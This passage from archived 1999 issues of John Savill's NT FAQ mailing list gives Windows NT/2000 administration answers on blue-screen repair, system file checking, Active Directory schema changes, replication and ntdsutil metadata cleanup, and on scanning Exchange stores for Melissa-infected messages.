booting from the CD-ROM and the winnt.exe program searches for a:\winnt.sif during installation. -------------------------------------------------------------------------------- Q. What is MSINFO32.EXE? A. MSINFO32.EXE was first introduced with Office 97 and gives detailed information about your computer. In Windows 2000, MSINFO32.EXE has replaced WINMSD.EXE and if you try and start WINMSD, MSINFO32 will be started. MSINFO32 not only gives information about your hardware, it can give full information about currently running processes, programs configured to start when the system starts and much more. -------------------------------------------------------------------------------- Q. I'm getting a BSOD at startup with error C0000135. A. There are various flavors of this Blue Screen of Death but all will have the text: Stop: c0000135 {Unable to Locate DLL} The dynamic link library could not be found in the specified path Default Load Path." The could be a number of different DLL files, a common one is WINSRV.DLL. There are a number of causes for this error: File_name.dll is missing from the %SystemRoot%\system32 directory. Your laptop is loading the Sermouse.sys file. If .dll does exists, the software hive may be corrupted and, therefore, cannot load. If you Windows NT installation is FAT you can just boot from a floppy disk and change that the DLL it is listing as the error cause is there and if in doubt replace with the latest service pack version. If its NTFS you can either use something like ERD Commander to access the NTFS drive (http://www.winternals.com) or install a parallel copy of Windows NT. If after checking the DLL you still have problems it is likely a registry hive corruption and if WINSRV.DLL is listed as the missing DLL it is always the software hive. The way to test this is to again use a parallel copy of Windows NT and try to load each hive from your original NT installation: Start REGEDT32.EXE Select the HKEY_LOCAL_MACHINE on Local Machine window Select the HKEY_LOCAL_MACHINE key in the left pane of the window. On the menu bar, click Registry, and then click Load Hive. Browse to %SystemRoot%\System32\config, where %SystemRoot% is the original installation of Windows NT that you want to check. Click the file software. This will be the software file with the generic Windows icon next to it, not the file with the Notepad icon The system will prompt for a key-name to use in loading the hive. You can type whatever you prefer in the dialogue box, for example probsoft. The hive is corrupted if you receive the following error message: 'Registry Editor could not load the key. The file is not a valid Registry file.' The only course of action now is to replace the problem registry hive with the most recent backup which is your emergency repair disk: Start the system with the Windows NT Setup disks. At the first screen, press R for repair. Use the arrow keys to move the cursor to Inspect Registry Files, and then press ENTER to select that option. Next, move the cursor to Continue (Perform Selected Tasks) and press ENTER. Let Windows NT perform the mass storage detection. When prompted, select S to specify additional drivers if your computer requires OEM drivers. When prompted to do so, insert the emergency repair disk that was originally created for this computer, or press ESC to let Windows NT search for repair information. Setup will then ask which registry files should be replaced. Using the arrow keys, move the cursor to Software (Software Information) and press ENTER. Next, move the cursor to Continue (Perform Selected Tasks) and press ENTER. When finished, restart your computer when Setup prompts you to do so. -------------------------------------------------------------------------------- Q. How can I force a check of protected system files in Windows 2000? A. Windows 2000 includes a new component which protects critical system files and if they are replaced by an application the correct original file will be replaced by the process. This should fix the common "DLL Hell" scenario. A utility is supplied called SFC.EXE (System File Checker) which can be used to perform various checks and configuration for this service. To force a check of files at any time just type: C:\> sfc /scannow A check of your system files will then be carried out. You may need to insert your Windows 2000 CD-ROM. You can also use switches: /SCANONCE Scans all protected system files once at the next boot. /SCANBOOT Scans all protected system files at every boot -------------------------------------------------------------------------------- Q. My Windows 2000 DHCP client has an IP address not in any scopes, how? A. Microsoft have tried to make Windows 2000 as easy to setup on a small network as possible and by default and machines installed are setup to use DHCP. On a very small network you may not have a DHCP server and rather than the machines failing to initialize TCP/IP Microsoft has added code so that the machines will use an address not in use on the local network in the class B address range 169.254.x.x. This IP address range is reserved for internal use only and so should not clash with any "real" IP addresses on your network. The MacOS uses the same address range for its DHCP clients when a DHCP server cannot be contacted as does Windows 98 Second Edition. This DHCP address allocation uses conflict detection via a NetBIOS naming broadcast over DHCP so each machine gets an IP address from the 169.254.x.x range which is not in use. If any of your machines have a 169.254.x.x address it just means they could not contact a DHCP server so check your network connectivity. -------------------------------------------------------------------------------- Q. Where can I get Exchange Server 2000? A. Exchange Server 2000 (formally known as Platinum) is now at the beta 3 stage and can be downloaded or ordered in CD form from http://www.microsoft.com/exchange/prodinfo/2000/OrderKit.htm. Exchange 2000 requires Windows 2000 RC 2 or above to install as it uses the Active Directory to store information, such as its configuration. For a list of the new features see http://www.microsoft.com/exchange/prodinfo/2000/FeaturesGuide.htm. -------------------------------------------------------------------------------- Q. How can I check who owns subnet x? A. The allocation of IP subnets is centrally controlled and maintained and this central database can be queried to see who owns a certain subnet, and also which companies own which subnets. ARIN is the non-profit organization which maintains this database and provides a web based whois program at http://www.arin.net/whois/. You can type in a subnet, e.g. 169.254 or a name, e.g. Microsoft. -------------------------------------------------------------------------------- Q. How can I disable the DLL cache in Windows 2000? A. To remove the DLL cache in Windows 2000 which the system file checker service uses and that can take up about 200MB of space enter the following commands: C:\> sfc /cachesize=0 C:\> sfc /scannow The sfc /scannow forces it to remove the cached files. -------------------------------------------------------------------------------- Q. How can I convert a binary number to hexadecimal? A. There are some operations in Windows NT where you need to give a value as hexadecimal rather than binary or decimal, for example setting which drives should be excluded from a users view (see 'Q. How can I hide drive x from users?') The easiest way to convert is to use the Calculator application in Scientific mode: Start Calculator (calc.exe) From the view menu select 'Scientific' Select 'Bin' and set the data type to 'Dword' (Dword is 4 bytes (32 bits), the biggest possible in calc) Enter you binary string Select 'Hex' and your binary number is converted to Hex Hexadecimal is base 16 and each digit can therefore be between 0 and 15 (0-9, A-F). Binary is base 2 and each digit can therefore be 0 or 1. -------------------------------------------------------------------------------- Q. How can I stop users creating persistent connections? A. Persistent connections are those which are recreated after you logoff and logon again. It may be desirable to stop this and so a registry entry exists to disable users from creating persistent connections: Start the registry editor (regedt32.exe) Move to HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections Double click on SaveConnections Change to 'no' (don't type the quotes). Click OK Close the registry editor The above would disable for new users. To disable for current users perform the same but on the HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections\SaveConnections value. -------------------------------------------------------------------------------- Q. What switches can be used with explorer.exe? A. In 'Q. How can I configure Explorer to start with drive x: ?' we saw how to configure explorer to start with a specific drive. Below is a table of ALL its switches: Explorer [/n][/e][,/root,(object)][[,/select],(sub object)] /n opens a new single-paned window. /e opens Explorer in the standard view at the current folder. /root,(object) opens at the specified root level. /Select, Folder tells Explorer which folder gets the focus. /select,(filename) tells Explorer which file gets the focus. To Start Explorer in desktop view mode use command: explorer /e,/root, -------------------------------------------------------------------------------- Till next week, take care. John


All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

A post service pack 4 hotfix roll-up has been released from http://www.microsoft.com/ntserver/nts/downloads/recommended/nt4postsp4hotfix/.

Standard items:

The NT FAQ book can now be reserved via Amazon.com and should be out early June. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss

New additions last week:

Q. How do I allow modifications to the Schema?
Q. What are Tombstone objects?
Q. How can I recreate the Windows NT installation disks?
Q. How do I switch my 2000 domain to native mode?
Q. How can I remove the dial-up networking icon from My Computer?
Q. How can I remove the Scheduled Tasks icon from My Computer?
Q. Why do I get the message 'Initialization of USER32.dll or KERNEL32.dll' failed?
Q. How can I search my Exchange stores for virus infected messages?

---------------------------------------------------

Q. How do I allow modifications to the Schema?

A. The Schema is extensible which means it can be changed but modifying the Schema is a dangerous task as it will affect the entire domain Forest (since a forest shares a common schema) and someone at Microsoft once said the following:

"If you find you have to change the schema find another way. If you still have to, look again. If after all that you find you still need to change the schema you better make sure your managers are fully aware of the implications"

That being said to allow modifications there are two ways.

If you want to use the GUI first register the .dll for the MMC snap-in (if you haven't all ready)

C:\> regsvr32 schmmgmt.dll

You can now start the Schema Manager via the Resource Kit Tools console or by creating a custom MMC and add the Active Directory Schema snap-in to it (Start - Run - MMC - Console menu - Add/Remove Snap-in - Add - Active Directory Schema - Add - Close - OK)

1, Start the Active Directory Schema MMC snap-in on the Domain Controller (using on of the methods above)
2, In the left hand pane right click on 'Active Directory Schema' and select 'Operations Master' from the context menu
3, The current machine holding the Domain name operations FSMO role will be shown. Check the "The Schema may be modified on this server" box.
5, Click OK to the confirmation dialog.

This can also be accomplished by directly editing the registry

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
3, Double click on 'Schema Update Allowed' (of type REG_DWORD)
4, Set to 1.
5, Click OK
6, Close the registry editor

------------------------------------------------------

Q. What are Tombstone objects?

A. Because of the complex replication available in Windows 2000 and the Active Directory just deleting an object would result in it potentially being recreated at the next replication interval and so deleted objects are 'Tombstoned' instead. This basically marks them as deleted and applies to all objects.

Objects marked as tombstoned are actually deleted 60 days after their original tombstone status setting, however this time can be changed by modifying tombstonelifetime under cd=DirectoryServices,cn=WindowsNT,cn=Services,cn=Configuration,dc=DomainName however it is not advised.

--------------------------------------------------------------------------------

Q. How can I recreate the Windows NT installation disks?

A. To recreate the installation disks perform the following:

1, Start-up an operating system (dos, wfw, windows 9x or NT)
2, Insert the NT installation CD
3, Start a command session (command.com or cmd.exe if NT)
4, Move to the i386 folder
5, If you are running NT or Windows 9x enter the command
C:\> winnt32 /ox
Any other 16 bit operating systems type
C:\> winnt /ox
6, You will be asked to insert 3 disks
7, Done!

If you want to create Windows 2000 start-up disks perform the following:

1, Again start-up an operating system
2, Insert the 2000 installation CD
3, Start a command session (command.com or cmd.exe if NT)
4, Move to the BOODISK folder
5, Type the command
C:\> makeboot a:
6, You will have to insert 4 disks
7, Done

--------------------------------------------------------------------------------

Q. How do I switch my 2000 domain to native mode?

A. Windows 2000 domains have two modes, mixed and native. Mixed mode domains allow Windows NT 4.0 Backup Domain Controllers to participate in a Windows 2000 domain.

In native mode only 2000 based domain controllers can participate in the domain and 4.0 based Backup Domain Controllers will no longer be able to act as domain controllers. Also the switch to native mode allows use of the new "Universal" groups which unlike global groups can be nested inside each other. Older NetBIOS based clients will still be able to logon using the NetBIOS domain name even in native mode.

To perform the switch perform the following:

1, Start the Active Directory Domains and Trusts MMC snap-in
2, Right click on the domain you want to convert to native mode and select Properties
3, Select the General tab
4, Click the 'Change Mode' button
5, Click Yes to the confirmation
6, Click Apply to the main dialog
7, A success message will be displayed. Click OK

Reboot the machine (although I have been told a reboot is not needed).
You will need to check all other domain controllers in the domain and when the domain operation mode says "Native Mode" (instead of mixed mode) reboot them. This can take 15 minutes (or more if contact is not able to be made).

If a domain controller cannot be contacted (if on a remote site and only connects periodically) when you make the change the remote DC will switch mode the next time replication occurs.

--------------------------------------------------------------------------------

Q. How can I remove the dial-up networking icon from My Computer?

A. The dial-up networking icon can be removed by editing the registry as follows:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
3, Select {a4d92740-67cd-11cf-96f2-00aa00a11dd9}
4, This step is optional but from the Registry menu select "Export Registry File". Enter a name for the reg file which will be created. This file will allow you to automatically undo this if you wish.
5, Press the Del key to delete the key.
6, Click Yes to the deletion confirmation dialog
7, Dial-up networking will no longer be visible from My Computer

To restore it using your reg file just double click on the reg file from Explorer and dial-up networking will be restored.

--------------------------------------------------------------------------------

Q. How can I remove the Scheduled Tasks icon from My Computer?

A. The Scheduled Tasks icon can be removed by editing the registry as follows:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
3, Select {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
4, This step is optional but from the Registry menu select "Export Registry File". Enter a name for the reg file which will be created. This file will allow you to automatically undo this if you wish.
5, Press the Del key to delete the key.
6, Click Yes to the deletion confirmation dialog
7, Scheduled Tasks will no longer be visible from My Computer

To restore it using your reg file just double click on the reg file from Explorer and scheduled tasks will be restored.

--------------------------------------------------------------------------------

Q. Why do I get the message 'Initialization of USER32.dll or KERNEL32.dll' failed?

A. Every desktop object on the system has a desktop heap associated with it. The desktop object uses the heap to store menus, hooks, strings, and windows.

There is soft limit on the Desktop Heap size (128KB). This can be expanded by changing a parameter in the Registry as follows:

1, Start the registry editor (regedt32.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems
3, Double click on the Windows value
4, The data will be of the format:

%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16

5, Find the SharedSection value and add ,512 or ,1024 after the second number, for example:

%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,1024 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16

Setting to ,512 will set the desktop heap to 512KB for each desktop associated with non- interactive window stations. 1024 would set it to 1MB.

6, Close the registry editor
7, Reboot the machine

If you try and set the value to anything less than 128 then a default of 128 will be used by the system, ignoring you value.

--------------------------------------------------------------------------------

Q. How can I search my Exchange stores for virus infected messages?

A. After the problems with the recent Melissa virus, Microsoft have produced a utility which can search your Exchange store for messages which have been infected with a virus and clean them. This will not in any way prevent the virus from being introduced into the email system, you should ensure you are running anti-virus software to prevent the virus infecting your message stores.

The utility can be downloaded for Exchange 5.5 and 5.0 for both Intel and Alpha

Exchange 5.5 Intel  ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.5/ISSCAN/ISSCANI.EXE
Exchange 5.5 Alpha ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.5/ISSCAN/ISSCANA.EXE
Exchange 5.0 Intel ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.0/ISSCAN/ISSCANI.EXE
Exchange 5.0 Alpha ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.0/ISSCAN/ISSCANA.EXE

Once downloaded the self extracting file produces two files, ISSCAN.EXE and the symbol file ISSCAN.DBG. Once you copy the files to the server running Exchange it is used as follows (you don't need to copy the .dbg file)

For Exchange 5.5

1, Logon as an Administrator
2, Stop the Microsoft Exchange Server Information Store server (via Control Panel - Services)
3, Enter the command below from the command prompt (cmd.exe)

C:\> ISSCAN -fix {-pri | -pub} -test badmessage, badattach [-c <criteria file>]

Where the -fix parameter instructs ISSCAN to remove the messages or attachments found. Without the -fix parameter, ISSCAN will record all the messages and attachments it finds in a log file.
The -pri or -pub parameter instructs ISSCAN to scan either the private or public information store (priv.edb or pub.edb).
The -test badmessage parameter deletes messages from the message table determined to be bad. The -test badattach parameter deletes attachments from the attachment table determined to be bad.
The -c <criteria file> is optionally and allows you to specify which messages ISSCAN will search for. If not used the Melissa virus will be searched for. The format of the criteria file is supplied in the readme file for ISSCAN which can be downloaded from here.

ISSCAN will create a report called either isscan.pri or isscan.pub, depending on whether you are scanning a private store or public store. This report will include the attachment's filename that is deleted, and the sender of a message that is deleted. You can then use this information to determine the users computers who may need extra attention.

This utility is very powerful and can be very constructive or destructive depending on how it is used. Please use with caution and consider every action twice before implementing. There is no undo so restoring a backup is the alternative if a problem occurs. It is recommended that you do not use this utility until a known good backup is secured.

--------------------------------------------------------------------------------

Till next week,

John


From: John Savill [john@savilltech.com] Sent: 12 December 1999 17:19 To: NTFAQ Mailing List Subject: NT FAQ, 13 December 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: A new build of Windows 2000 was released to core beta testers. Looks good. I also installed Windows Millennium which totally corrupted by Windows 98 installation but a clean install worked, approach with care :-) New items: Q. How do I enable bus mastering (DMA) in Windows 2000? Q. How can I may a drive/port for all new users on a machine without scripts etc? Q. How does replication work intra-site in Windows 2000? Q. How can I change the intra-site replication interval in Windows 2000 for domain information? Q. How can I set the RPC port used for Intra-site replication? Q. What tools are available to monitor/change replication? Q. How do I remove a non-existent domain controller? Q. How do I remove a non-existent domain from the Active Directory? Q. How does Inter-site replication work in Windows 2000? Q. How do I create a new site link? Q. How do I disable site link transitivity? Q. How can I fool a program into thinking my Windows 2000 installation is actually Windows NT/95/98? ------------------------------------------------------------- Q. How do I enable bus mastering (DMA) in Windows 2000? A. DMA support is included in Windows 2000 however it is not enabled for the devices by default and so requires configuration. Enabling DMA if supported will result in performance gains. Right click on My Computer and select Properties Select the Hardware tab and select 'Device Manager' Expand 'IDE ATA/ATAPI controllers' Right click on 'Primary IDE Channel' (and secondary if available) Select 'Advanced Settings' For Device 0 and Device 1 under Transfer Mode select 'DMA if available' Click OK Click OK to the main system properties Click OK to reboot the computer -------------------------------------------------------------------------------- Q. How can I may a drive/port for all new users on a machine without scripts etc? A. Using the following technique you can map some drives, then copy this change into the default user profile, then perform a little surgery. Part I: create the Drive entries Log into your PC with your domain account (for arguments sake, you are "DoeJ" in the "Domain" Domain.) Map the "X:" drive to \\Server\Share$; Select Reconnect at Login (obviously you should use valid drive letters/shares for your own environment) Part II: Get the entries into a REG file Log out, Log back in using a local administrator account. Launch REGEDIT32 Go to the HKEY_USERS window Highlight the root key (HKEY_USERS) Select Registry | Load Hive Browse to the profile of your domain account (Probably: C:\Winnt\Profiles\DoeJ), select the NTUSER.DAT file; Give this hive the name "DefaultU" Notice that under the HKEY_USERS key that "DefaultU" has been added as a subkey. Launch REGEDIT (do not close REGEDT32) Browse to HKEY_USERS\DefaultU\Network\X, highlight the X. Export this key, noting where you save it to. Close REGEDIT (you cannot unload the hive if REGEDIT has it open) Highlight the DefaultU Hive in REGEDT32 Select Registry | Unload Hive Part III: Import the REG File to the Default User Profile Select Registry | Load Hive Browse to the profile of the Default User (Typically: C:\Winnt\Profiles\Default User), select the NTUSER.DAT file; Give this hive the name "DefaultU" *Note: you must use the same name you used in step 6 in part II for this to work... Import the .REG file you exported in step 12 by double clicking it. Part IV: Perform Surgery to convert a specific entry to a generic entry Browse to HKEY_USERS\DefaultU\Network\X, highlight the X. Select the UserName Value (it would now show a REG_SZ with "Domain\DoeJ" as its data) Delete it (The value, not just the data) Edit | Add Value: Value Name: "UserName" Data Type: "REG_EXPAND_SZ" String: "%UserDomain%\%UserName%" (Case Sensitive) Highlight the HKEY_USERS\DefaultU Parent Key and unload it (Select Registry | Unload Hive) Part V: Test your results Temporarily rename the DoeJ profile. Log out as the local administrator and log back in with the Domain\DoeJ credentials. NT will not find your old profile (you renamed it in step 25), and so then copy the contents of Default user into a new DoeJ folder and use them. Notice that you have an X drive, and did not have to use net use or map it with explorer. Since you are now upset because you lost all your desktop and software settings, log out as your DoeJ account and then back in as the local admin. Rename the newly created DoeJ profile folder and Rename your original DoeJ profile back. This technique can be used for many things, but I find it most useful for the printer LPT: ports and network drives on multi-user and KIOSK machines. Note that only users that do not have profiles already stored on the PC will be affected by this change. I will typically implement this when I am building a new PC for a common area where everybody and his brother will be logging into it; they can use their own credentials, with the ability to get to their home directories, instead of a generic machine specific account. Thanks to Steven Yarnot for this -------------------------------------------------------------------------------- Q. How does replication work intra-site in Windows 2000? A. Windows 2000 includes a component called the Knowledge Consistency Checker (KCC) which automatically manages the replication within a site. A bi-directional ring topology is used intra-site using RPC (Remote Procedure Call) over TCP/IP without any kind of compression. This is because domain controllers within a site are thought to be on a fast network (as per the definition of a site) and the extra processing required to compress/uncompress is undesirable. The KCC runs every 15 minutes adjusting the topology as needed and as new domain controllers are created they are automatically placed in the ring. You can view these links using the Active Directory Sites and Services MMC snap-in by expanding the site, expand the Servers container, expand the server and under the ‘NTDS Settings’ leaf are the created connection objects. The rings are ordered by the domain controller's GUID (Globally Unique IDentifier) as a means to ensure convergence on a single topology as the KCC runs on all domain controllers. There is an exception to the ring rule. There can never be more than 3 hops between any two domain controllers within the ring and so of there are 7 or more domain controllers extra links are added to protect the 3 hop rule. These rings are for same naming context (domains) in a single site. If you had multiple domains in a site there would be rings for each domain within the site. There is a second type of ring however which replicates schema and configuration information between the domain controllers and as this information is shared between all domains (its forest wide) there is only one ring for each site. This means if you had two domains in a site you would have 3 rings, one each for the two domains and one for the schema/configuration information. If you only have a single domain in a site the two rings are actually one and the same. Any manual configuration of intra-site replication should not be needed and is not recommended by Microsoft. The only task you may ever find yourself performing is to add extra connection objects to reduce the hop count between domain controllers. When a change is made to the naming context (domain) data the domain controller waits a configurable interval that is 5 minutes by default. The change is written to the domain controller’s local copy of the Active Directory, a timer is started that determines when the domain controller's replication partners should be notified of the change (the 5 minutes). When this interval elapses, the domain controller initiates a notification to each intra-site replication partner that it has changes that need to be propagated. In this 5 minutes changes can continue to be made to the local Active Directory enabling all changes to be grouped and sent after the 5 minutes. If no changes are reported for a configurable period (as defined in the intra-site connection object schedule) a replication sequence will be initiated to ensure no changes have been missed. There is a concept of urgent replication that can be triggered by the SAM or the LSA (Local Security Authority) and is initiated for the following events: Replicating a newly locked out account (useful for when you have fired someone) Changing an LSA secret (i.e. a trust account) The RID Manager state changes Any of the above causes a notification to be sent within the site triggering immediate replication. As this uses notification this is only intra-site however you can modify site links to enable notification, as normally they will only replicated as per the schedule. An exception to the multi-master normal replication is user passwords. As with any other attribute change the password can be changed at any domain controller however the change is then pushed to the PDC FSMO role holder on a best attempt basis. Any other domain controllers receive the password through normal replication. The reason for this extra password work is that in the event of password validation failing the domain controller validating will pass the request to the PDC FSMO in case the password has been changed and it has now yet received via standard replication. The schema/configuration data is replicated once an hour by default between domain controllers but can be changed as seen in 'Q. How can I change replication schedule between two domain controllers in a site?'. -------------------------------------------------------------------------------- Q. How can I change the intra-site replication interval in Windows 2000 for domain information? A. As we saw in 'Q. How does replication work intra-site in Windows 2000?' replication for naming context data is replicated intra-site 5 minutes after the change is made to allow any further changes to be grouped and sent together. This 5 minute pause can be changed via the registry: Start the registry editor (regedit.exe) Move HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters Double click on ‘Replicator notify pause after modify (secs)’ Set to the number of seconds you wish for the pause. Click OK Close the registry editor Reboot You will also notice another parameter, ‘Replicator notify pause between DSAs (secs)’ under the same registry key which determines the number of seconds to pause between notification of the Directory Service Agents. This parameter prevents simultaneous replies by the replication partners. -------------------------------------------------------------------------------- Q. How can I set the RPC port used for Intra-site replication? A. By default the port used for the RPC replication is dynamically set as a secure measure. It may be desirable to set the port however (for the purposes of monitoring data etc.) and this can be enabled by performing the following registry change: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters From the Edit menu select New - DWORD value Enter a name of 'TCP/IP Port' (don't enter the quotes) and press enter Double click the new entry and set to the port you want it to use (make sure its not in use, e.g. 1352) Close the registry editor Reboot After monitoring is complete be sure to remove this entry to regain the security of dynamic RPC port allocation. -------------------------------------------------------------------------------- Q. What tools are available to monitor/change replication? A. The first tool you use is the Sites and Services MMC snap-in which enable the viewing/creation/deletion of connection objects however there are other tools available. The Windows 2000 resource kit provides REPLMON.EXE and REPADMIN.EXE which are very useful. Repadmin.exe is a command line tool which enables replication consistency to be checked, for a KCC recalculation etc. A good switch is /showreps which displays a list of replication partners. The invocation ID is the database GUID and will also show reason for problems. D:\>repadmin /showreps London\TITANIC DSA Options : IS_GC objectGuid : 221d9d34-540e-4a7b-bd26-054c11e2d1ad invocationID: 221d9d34-540e-4a7b-bd26-054c11e2d1ad ==== INBOUND NEIGHBORS ====================================== CN=Schema,CN=Configuration,DC=savilltech,DC=com London\TITUS via RPC objectGuid: 2000eb93-cc24-4af7-9ad2-c52129c98c7a Last attempt @ 1999-12-06 20:32.20 failed, result 8524: Can't retrieve message string 8524 (0x214c), error 1815. Last success @ 1999-09-17 20:53.45. 463 consecutive failure(s). London\TRINITY via RPC objectGuid: df3694d2-b4e9-4d9a-a560-3e8c26c48a89 Last attempt @ 1999-12-06 20:32.21 failed, result 8524: Another neat option is /showmeta which will have all object information, version numbers etc. C:\>repadmin /showmeta cn=garfield,DC=savtech,DC=com 45 entries. Loc.USN Originating DSA Org.USN Org.Time/Date Ver At tribute ======= =============== ======= ============= === == ======= 99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 ob jectClass 99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 cn 99650 London\MORPHEUS 99650 1999-12-08 09:50.10 1 de scription 99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 gi venName 99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 in stanceType Replmon.exe is a GUI tool used to display and monitor replication status on selected domain controllers. -------------------------------------------------------------------------------- Q. How do I remove a non-existent domain controller? A. Windows 2000 tracks each domain controller in the metadata and if you just throw away a domain controller either by reinstallation or removal of the hardware without running DCPROMO to clean up its metadata its information will not be cleaned up and connection objects will not be removed. You can remove a server from the metadata using the NTDSUTIL as follows (enter the commands in bold): D:\>ntdsutil ntdsutil: metadata cleanup metadata cleanup: select operation target The first step is to connect to a server. Here we do it by selecting a domain: select operation target: connections server connections: connect to domain savilltech.com Binding to \\TITANIC.savilltech.com ... Connected to \\TITANIC.savilltech.com using credentials of locally logged on user server connections: quit Next we have to select a site, then a server (the server we want to delete) then finally the domain the server is in (the order is not important) select operation target: list sites Found 2 site(s) 0 - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com 1 - CN=Kent,CN=Sites,CN=Configuration,DC=savilltech,DC=com select operation target: select site 0 Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com No current domain No current server No current Naming Context select operation target: list servers in site Found 4 server(s) 0 - CN=TITANIC,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=c om 1 - CN=TITUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com 2 - CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC= com 3 - CN=TRINITY,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=c om select operation target: select server 2 Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com No current domain Server - CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltec h,DC=com DSA object - CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites, CN=Configuration,DC=savilltech,DC=com DNS host name - MORPHEUS.deleteme.savilltech.com Computer object - CN=MORPHEUS,OU=Domain Controllers,DC=deleteme,DC=savil ltech,DC=com No current Naming Context select operation target: list domains Found 3 domain(s) 0 - DC=savilltech,DC=com 1 - DC=dev,DC=savilltech,DC=com 2 - DC=deleteme,DC=savilltech,DC=com select operation target: select domain 0 Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com Domain - DC=savilltech,DC=com Server - CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltec h,DC=com DSA object - CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites, CN=Configuration,DC=savilltech,DC=com DNS host name - MORPHEUS.deleteme.savilltech.com Computer object - CN=MORPHEUS,OU=Domain Controllers,DC=deleteme,DC=savil ltech,DC=com No current Naming Context select operation target: quit The server we selected above will now be deleted. metadata cleanup: remove selected server Now click yes to the confirmation "CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com " removed from server "\\TITANIC.savilltech.com" metadata cleanup: quit ntdsutil: quit Disconnecting from \\TITANIC.savilltech.com ... You should then delete the server from the Sites and Servers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services) Expand the Sites branch, select the site, expand the Services container, right click on the server and select Delete. Click Yes to the confirmation. -------------------------------------------------------------------------------- Q. How do I remove a non-existent domain from the Active Directory? A. As with domain controllers, Windows 2000 tracks each domain in the metadata and if you remove all the domain controller's for a domain and never select "This is the last domain controller in the domain" when running DCPROMO to demote to a normal server its information will not be cleaned up and its domain information will remain. You can remove a domain from the metadata using the NTDSUTIL as follows (enter the commands in bold): D:\>ntdsutil ntdsutil: metadata cleanup metadata cleanup: connections Connect to a server (or domain) that knows about the domain to be deleted (the parent domain is good) server connections: connect to server titanic Binding to titanic ... Connected to titanic using credentials of locally logged on user server connections: quit metadata cleanup: select operation target Now we select to the domain we are going to delete select operation target: list domains Found 3 domain(s) 0 - DC=savilltech,DC=com 1 - DC=dev,DC=savilltech,DC=com 2 - DC=deleteme,DC=savilltech,DC=com select operation target: select domain 2 Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com Domain - DC=deleteme,DC=savilltech,DC=com No current server No current Naming Context select operation target: quit metadata cleanup: remove selected domain Click Yes to the confirmation. "DC=deleteme,DC=savilltech,DC=com" removed from server "titanic" metadata cleanup: quit ntdsutil: quit Disconnecting from titanic ... There are no further actions, all trace of the domain will now have been removed. -------------------------------------------------------------------------------- Q. How does Inter-site replication work in Windows 2000? A. Sites can be linked using RPC over IP or SMTP. Once you define the site links, schedules, cost factors and any site link bridges (if appropriate) the Knowledge Consistency Checker can then create the connection objects providing the site links are transitive in nature. There are some restrictions on the usage of SMTP however, it can be used to replicate the global catalog information, schema and configuration data, but it cannot replicate full domain name context data such as the data exchanged between domain controllers in the same domain. This is because some domain operations require the File Replication Server (FRS) such as the global policy which SMTP does not currently support. Inter-site replication uses a spanning tree topology and as long as a replication route can be established between all sites in the enterprise forest the replication tree is complete. The actual links between sites are created manually by the Administrator and involves defining costs with each link (the 